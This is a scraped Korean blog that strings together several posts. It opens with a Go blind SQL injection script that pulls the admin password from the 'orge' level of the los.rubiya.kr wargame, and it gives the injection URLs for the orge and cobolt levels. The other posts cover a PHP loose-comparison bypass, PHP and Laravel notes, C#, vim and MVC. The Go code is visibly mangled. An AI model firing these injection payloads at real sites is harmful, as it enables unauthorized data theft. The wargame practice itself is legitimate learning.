https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=

 

https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=7b751aec

 

los.rubiya.kr

package main

import(
    "bytes"
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "regexp"
    "strconv"
    "time"
)

const COOKIEVALUE string = ""

var limit int = 50
var index int = 0
var payload[] string
var pwLength int = 0

func main() {
    //requestPost()
    getLength(50)
    fmt.Println(strconv.Itoa(pwLength))
    index = 0
    blidSqlInjection(0, 0)
    fmt.Println("%v", payload)
}

func matchFind(targetString string) bool {
        r,
        _: = regexp.Compile("

            Hello.*
            ")
            var result[] string

            result = r.FindAllString(targetString, -1) if len(result) > 0 {
                return true
            } else {
                return false
            }
        }

        func requestPost() {
            url: = "https://los.rubiya.kr/gate.php"

            data: = [] byte(`{"hello": "world"}`)

            req,
            err: = http.NewRequest("POST", url, bytes.NewBuffer(data))
            if err != nil {
                log.Fatal("Error reading request. ", err)
            }

            // Set headers
            req.Header.Set("Content-Type", "application/json")
            req.Header.Set("Host", "httpbin.org")

            // Create and Add cookie to request
            cookie: = http.Cookie {
                Name: "PHPSESSID",
                Value: COOKIEVALUE
            }
            req.AddCookie( & cookie)

            // Set client timeout
            client: = & http.Client {
                Timeout: time.Second * 10
            }

            // Validate cookie and headers are attached
            fmt.Println(req.Cookies())
            fmt.Println(req.Header)

            // Send request
            resp,
            err: = client.Do(req)
            if err != nil {
                log.Fatal("Error reading response. ", err)
            }
            defer resp.Body.Close()

            fmt.Println("response Status:", resp.Status)
            fmt.Println("response Headers:", resp.Header)

            body,
            err: = ioutil.ReadAll(resp.Body)
            if err != nil {
                log.Fatal("Error reading body. ", err)
            }

            fmt.Printf("%s\n", body)

        }

        func getLength(start int) int {
            //https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%20%20ascii(substr(pw,1,1))%3C150%23

            if index >= limit || start == 0 {
                return -1
            }
            //url1 := "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=pw=%27%20or%20%20length(pw)="
            url1: = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27%20||%20id=%27admin%27%20%26%26%20length(pw)%3C20"
            url2: = strconv.Itoa(start) + "%23%27"

            data: = [] byte(`{"hello": "world"}`)

            url: = url1 + url2
            fmt.Println("Request URL : ", url)
            req, err: = http.NewRequest("GET", url, bytes.NewBuffer(data))
            if err != nil {
                log.Fatal("Error reading request. ", err)
            }

            // Set headers
            req.Header.Set("Content-Type", "application/json")

            // Create and Add cookie to request
            cookie: = http.Cookie {
                Name: "PHPSESSID",
                Value: COOKIEVALUE
            }
            req.AddCookie( & cookie)

            // Set client timeout
            client: = & http.Client {
                Timeout: time.Second * 10
            }

            // Send request
            resp, err: = client.Do(req)
            if err != nil {
                log.Fatal("Error reading response. ", err)
            }
            defer resp.Body.Close()

            //fmt.Println("response Status:", resp.Status)

            body, err: = ioutil.ReadAll(resp.Body)
            if err != nil {
                log.Fatal("Error reading body. ", err)
            }

            matchResult: = matchFind(string(body))

            if matchResult == true {
                fmt.Println("Length : ", strconv.Itoa(start))
                pwLength = start
                return start
            }

            index++

            if matchResult == true {
                getLength(start / 2)
            } else {
                getLength(start - 1)
            }

            return -1
        }

        func blidSqlInjection(start int, pwIndex int) int {
            //https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%20%20ascii(substr(pw,1,1))%3C150%23

            fmt.Println(index, start, pwLength, pwIndex)
            if start == pwLength && pwLength == pwIndex {
                return -1
            }

            if pwLength < pwIndex {
                return -1
            }
            url1: = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27%20||%20id=%27admin%27%20%26%26%20ascii(substr(pw," + strconv.Itoa(pwIndex) + ",1))="
            url2: = strconv.Itoa(start) + "%23%27"

            data: = [] byte(`{"hello": "world"}`)

            url: = url1 + url2
            fmt.Println("Request URL : ", url)
            req, err: = http.NewRequest("GET", url, bytes.NewBuffer(data))
            if err != nil {
                log.Fatal("Error reading request. ", err)
            }

            // Set headers
            req.Header.Set("Content-Type", "application/json")

            // Create and Add cookie to request
            cookie: = http.Cookie {
                Name: "PHPSESSID",
                Value: COOKIEVALUE
            }
            req.AddCookie( & cookie)

            // Set client timeout
            client: = & http.Client {
                Timeout: time.Second * 10
            }

            // Send request
            resp, err: = client.Do(req)
            if err != nil {
                log.Fatal("Error reading response. ", err)
            }
            defer resp.Body.Close()

            //fmt.Println("response Status:", resp.Status)

            body, err: = ioutil.ReadAll(resp.Body)
            if err != nil {
                log.Fatal("Error reading body. ", err)
            }

            matchResult: = matchFind(string(body))

            index++
            if matchResult == true {
                //fmt.Println("Length : ", strconv.Itoa(start))
                //return start
                payload = append(payload, string(start))
                blidSqlInjection(0, pwIndex + 1)
            } else {
                blidSqlInjection(start + 1, pwIndex)
            }

            return -1
        }

'War Game > LOS' 카테고리의 다른 글

LOS Cobolt  (0) 2019.06.10
LOS DARK_EYES  (0) 2015.10.24
LOS SUCCUBUS  (0) 2015.10.23
LOS ZOMBIE_ASSASSIN  (0) 2015.10.23
LOS ASSASSIN  (0) 2015.10.23

https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin%27or%271&pw=fdsf

'War Game > LOS' 카테고리의 다른 글

LOS ORGE  (0) 2019.06.10
LOS DARK_EYES  (0) 2015.10.24
LOS SUCCUBUS  (0) 2015.10.23
LOS ZOMBIE_ASSASSIN  (0) 2015.10.23
LOS ASSASSIN  (0) 2015.10.23

PHP가 버전 업그레이드를 함에 따라 
레거시 버전 PHP에서 사용하던 mcrypt_encrypt 관련 암호화 함수들을 쓰기 힘들게 됬다



때문에 openssl_encrypt 함수를 


만약 레거시 코드에서 mcrypt_encrypt 암호화 방식에서 AES 암호화로 MCRYPT_RIJNDAEL_128를  사용했다면 


openssl_encrypt에선 AES-256-CBC로 사용하면 레거시 코드와 호환이 가능하다 



복호화도 동일 


php7.2부턴 mcrypt 사용이 불가능 하기 때문에 openssl_encrpyt를 써야 한다 
레거시 코드를 마이그레이션 할때 만약 mcrypt를 사용했다면 참고

'Web Development > PHP' 카테고리의 다른 글

Laravel에서 PHP CLI 실행  (0) 2018.12.20
MVC 패턴  (0) 2016.02.08
파일 업로드 기능을 구현할떄의 php.ini 설정  (0) 2016.02.08

PHP는 자료형을 선언하지 않는 언어이다 보니 
데이터를 비교할때 ==(느슨한 비교, 내부의 데이터만 비교) 보다는 ===(강력한 비교, 자료형과 데이터가 모두 일치해야 참)를 사용하는것이 좋다


실제 예로 


<input type="text" value=[]>

같이 front에서 배열 형태로 보내는 값을 back 단에서 ==으로 비교하게 될 경우에 문제가 생긴다



예를 들어

"abcd" == "abcd"  (True)

이렇게 비밀번호를 입력받아 비교하는 로직이 있을경우에 

front 쪽에서 배열로 보내서 비교를 하게되면 


[] == "abcd" (True)


True를 반환해버리는 오류가 발생한다 
PHP는 자료형이 없기때문에 특히나 조심해야 하는 부분

물론 이게 터질만큼 대충 짜논 사이트가 많지는 않겠지만 워낙 레거시 스타일로 작성된 PHP 사이트가 많아서 터질 가능성도 있다 혹은 오류가 나거나

참고 
http://phpcheatsheets.com/compare/

'Web Hacking' 카테고리의 다른 글

Mysql 프로시저 생성시 특수문자 escape  (0) 2017.08.03
Double Query Injection  (2) 2015.09.07
Procedure analyse()를 이용한 SQL Injection  (0) 2015.09.07
DataBase(information_schema)  (2) 2015.09.04
Group By SQL Injection  (1) 2015.08.24
<?php
define('LARAVEL_START', microtime(true));

require __DIR__.'/../../vendor/autoload.php';


$app = require_once __DIR__.'/../../bootstrap/app.php';

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);

$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);

$kernel->terminate($request, $response);


//클래스 생성
$elaClass = new \App\Http\Controllers\ElasticController();

//커넥션 생성
$elaClass->setClient();

//Data insert
$elaClass->insertCount();



라라벨에 컨트롤러로 등록된 코드를 cli로 실행하고 싶을 경우엔 위 코드대로 따로 파일을 만들어 실행하면 된다

다만 require와 require_once 부분의 경우 달라질수 있는데 상위 디렉토리로 올라갈때 laravel 루트 디렉토리가 되어야 한다

예를 들어 보자


DOCUMENT_ROOT는 /var/www/laravel/public 디렉토리이고 
위의 파일읜 /var/www/larvel/module/cli 디렉토리에 있을 경우 위 소스코드처럼 ../../ 두단계 상위디렉토리로 이동하여 실행해야 한다

그 이후엔 일반적인 Class 생성 및 메소드 실행방법이랑 똑같다 
다만 CLI로 돌아가기 때문에 시각적으로 확인할 방법이 없으므로 따로 로그는 남기도록 해서 잘 작동하는지 확인 할 수 있는 방법을 마련해놓는게 좋다



CLI로 실행 할 경우 PHP 위의 코드가 있는 파일을 고대로 php로 실행 시키면 된다


php /var/www/laravel/module/cli/CliElastic.php


이렇게 실행시키면 laravel의 컨트롤러에 있는 코드를 cli로 실행 시킬수 있다


크론탭으로 등록 시키려 할경우엔 아래처럼 등록하면 2분마다 작동한다

*/2 * * * * php /var/www/laravel/module/cli/CliElastic.php


이렇게 하면 매 1분 마다 실행된다


* * * * * php /var/www/laravel/module/cli/CliElastic.php


'Web Development > PHP' 카테고리의 다른 글

PHP mcrypt 함수 마이그레이션  (0) 2018.12.20
MVC 패턴  (0) 2016.02.08
파일 업로드 기능을 구현할떄의 php.ini 설정  (0) 2016.02.08

현재 고민하고 있는 이슈가 web api를 제공해야 하는데 현재 사용하고 있는 기술스택(c# .net)으로는 속도의 한계(?)가 느껴지는것 같아서 
다른 개발 스택의 조합중 가장 빠른 성능을 제공하는 웹 언어를 찾아야 한다
일단 웹 언어로 가장 대중적인 리스트를 뽑자면 

PHP

JSP

ASP

C# .NET

NodeJs

Python

Ruby

Go

등등이 있다

내가 뽑고자 하는 데이터는 



I/O 성능

반복문

DB 연결속도

HTTP REQUEST 성능

json 형식 처리 지원 여부

string 처리 속도

ElasticSearch 지원 여부


정도다 


문제는 저 위에 언어별로 대체 어떻게 테스트 하냐는 거다


동일한 스펙의 가상PC에서 최소 프로그램만 깔고 cpu/ram/hdd 상황을 모니터링 하면서 같은 이슈를 얼마나 빨리 처리하는지를 비교해야 하나?

아니면 제한시간동안 가장 많은 일을 하는걸 비교해야 하나 ?


비교 방법을 선택하는것도 문제지만 

가장큰 문제는 테스트 환경을 갖추는 것이다


저 위에 사용되는 언어별 플랫폼만 하더라도


IIS, NGINX, DJANGO, APACHE까지 4개나 된다 

OS별 조합을 따지면 그 수는 꽤나 많다


일단 인터넷에서 제일 궁합 좋다는 조합으로 다가 서버를 세팅 한 후 각 언어별 benchmark test를 할 예정이다


사실  위의 언어들 중에 NodeJS랑 Go가 가장 기대된다 
제일 공부해본적 없고 인터넷상으로도 나름 괜찮을 평을 받고 있고

국내외 대용량 API 서버들도 많이들 사용한다는 이야기를 들었기 때문이다 


뭐... 테스트 개발 환경 세팅은 나중에...

'Web Development' 카테고리의 다른 글

vim setting  (0) 2016.02.24


grave accecnt 였나

애를 파라미터로 입력받는 변수 앞뒤에 넣어서 지정하면 어지간한 injection은 다 막는듯 하다


자세한건 나중에




=> 내용수정 (2018.12.20)

일단 MYSQL 공식 문서에선 grave accent를 문자열 혹은 프로시저 파라미터 변수의 구분값으로 쓴다는 내용은 못찾았다

injection을 막아주지도 못한다 

다만 잘 알려지지 않은 구분자다 보니 일반적인 ' or '1'='1 이런식으로 공격을 날리면 먹히지 않는다

결론

=> injection을 막아주진 못하지만 잘 알려지지 않은 구문자다 보니 공격할때 써볼 것 같진 않다

'Web Hacking' 카테고리의 다른 글

PHP Type Confusion  (0) 2018.12.20
Double Query Injection  (2) 2015.09.07
Procedure analyse()를 이용한 SQL Injection  (0) 2015.09.07
DataBase(information_schema)  (2) 2015.09.04
Group By SQL Injection  (1) 2015.08.24

C#에서 using문을 사용하면 그 안에서 생성한 객체는 using문 종료시 자동으로 삭제된다고 한다.

하지만 얼마전 안 사실을 보면 일부분 오류가 생길 수 있는것 같다.


C#에서는 일단 using 문 사용시 객체를 소멸시키도록 하는 것 맞다.

하지만 컴파일러 입장에서는 객체를 재사용하는게 효율적이다


무슨 말이냐 하면 

using문에서 만약 DB 연결 객체를 생성했다 치자

그렇다면 using문이 끝나면 해당 객체를 삭제시키는게 맞다.

하지만 DB연결 객체는 모든 사용자들이 거의 필수로 사용하는 객체다


때문에 컴파일러 입장에서는 이 객체를 재사용하는게 효율적이기 때문에 해당 객체를 재사용하는 경우가 생긴다.

이번에 알아낸 점은 만약 DB객체가 소멸되지 않고 계속 재사용된다면 DB서버입장에서는 리소스를 계속 할애한다.


즉 문을 열고 닫아야 하는데 그 문이 열린체로 계속 유지되는 꼴이다.


그래서 얼마전 DB서버에서 이상하게 리소스를 많이 잡아먹는 부분이 발견됬었는데 알고보니 DB연결 객체를 계속 재사용하고 있어서였다.


만약 DB서버같이 리소스를 관리해야 하는 객체라면 using문 안에서 사용했더라도 dispose시켜주는게 좋을 것 같다.


set nu

set hlsearch " 검색어 하이라이팅

set nu " 줄번호

set scrolloff=2

set wildmode=longest,list

set autowrite " 다른 파일로 넘어갈 때 자동 저장

set autoread " 작업 중인 파일 외부에서 변경됬을 경우 자동으로 불러옴

set bs=eol,start,indent

set history=256

set laststatus=2 " 상태바 표시 항상

set paste " 붙여넣기 계단현상 없애기

set tabstop=4

set shiftwidth=4

set expandtab

set showmatch " 일치하는 괄호 하이라이팅

set smartcase " 검색시 대소문자 구별

set ruler " 현재 커서 위치 표시

set incsearch

set cursorline     

'Web Development' 카테고리의 다른 글

웹 개발시 사용되는 언어별 benchmark 테스트  (0) 2018.02.06

MVC 패턴이란


Model

View

Controller

3가지 단어의 앞글자를 따서 만든 디자인 패턴이다


Controller는 페이지가 열렸을떄 알맞은 Model을 불러오게 하고

Model은 주로 DB와 연결되어 정보를 가져오고

View는 Model에서 가져온 정보를 사용자들에게 보여준다



일반적으로 PHP를 처음 공부해서 개발하다 보면 

한개의 php파일 안에서 SQL을 보내고 그 값을 받고 그 페이지에서 보여주게 된다.

하지만 이렇게 개발할 경우 후에 유지보수나 코드 재사용성이 크게 저하된다.

보기 엄청 힘들다



Model, View, Controller를 분리할 경우 

코드가 유연해지고 수정하기 쉬워진다

예전 스타일의 PHP코드는 페이지 하나에 HTML, PHP, JavaScript가 짬뽕되 있기 때문에 가독성이 

엄청나게 떨어질 뿐더러 코드 분석하기가 힘들어진다


떄문에 class를 사용하여(보통 PHP를 처음 공부하면 class 안한다.) 

MVC 패턴으로 개발을 하는것이다. 

이 MVC 패턴은 디자인 패턴중 하나로서 다양한 디자인 패턴들이 있다


+ Recent posts